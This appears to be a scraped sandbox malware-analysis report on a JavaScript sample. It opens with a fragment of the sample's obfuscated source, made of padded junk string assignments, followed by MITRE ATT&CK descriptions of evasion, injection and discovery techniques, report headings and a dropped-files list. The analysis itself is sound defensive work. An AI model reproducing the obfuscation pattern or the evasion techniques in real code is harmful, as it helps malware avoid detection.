1530	eefok = "S";
1531	eefok = "z";
1532	eefok = "e";
1533	eefok = "z";
1534	eefok = "M";
1535	eefok = "d";
1536	eefok = "w";
1537	eefok = "C";
1538	eefok = "R";
1539	eefok = "j";
1540	eefok = "I";
1541	eefok = "j";
1542	eefok = "R";
1543	eefok = "L";
1544	eefok = "l";
1545	eefok = "l";
1546	eefok = "e";
1547	eefok = "N";
1548	eefok = "V";
1549	eefok = "b";
1550	eefok = "m";
1551	eefok = "E";
1552	eefok = "W";
1553	zuccrpjp = "f";
1554	zuccrpjp = "J";
1555	zuccrpjp = "b";
1556	zuccrpjp = "A";
1557	zuccrpjp = "r";
1558	zuccrpjp = "%";
1559	elhjdsqe = "p";
1560	elhjdsqe = "q";
1561	elhjdsqe = "H";
1562	elhjdsqe = "L";
1563	elhjdsqe = "p";
1564	elhjdsqe = "k";
1565	elhjdsqe = "W";
1566	elhjdsqe = "h";
1567	elhjdsqe = "J";
1568	elhjdsqe = "d";
1569	elhjdsqe = "Y";
1570	elhjdsqe = "V";
1571	elhjdsqe = "G";
1572	elhjdsqe = "K";
1573	elhjdsqe = "F";
1574	elhjdsqe = "s";
1575	elhjdsqe = "V";
1576	elhjdsqe = "M";
1577	elhjdsqe = "k";
1578	elhjdsqe = "P";
1579	elhjdsqe = "k";
1580	elhjdsqe = "G";
1581	elhjdsqe = "D";
1582	elhjdsqe = "O";
1583	elhjdsqe = "k";
1584	elhjdsqe = "g";
1585	elhjdsqe = "y";
1586	elhjdsqe = "n";
1587	dgczoqm ( );	dgczoqm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3414115772858819502.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\80e294f6-cca5-413f-b307-3800af814e65.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7892

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
3414115772858819502.js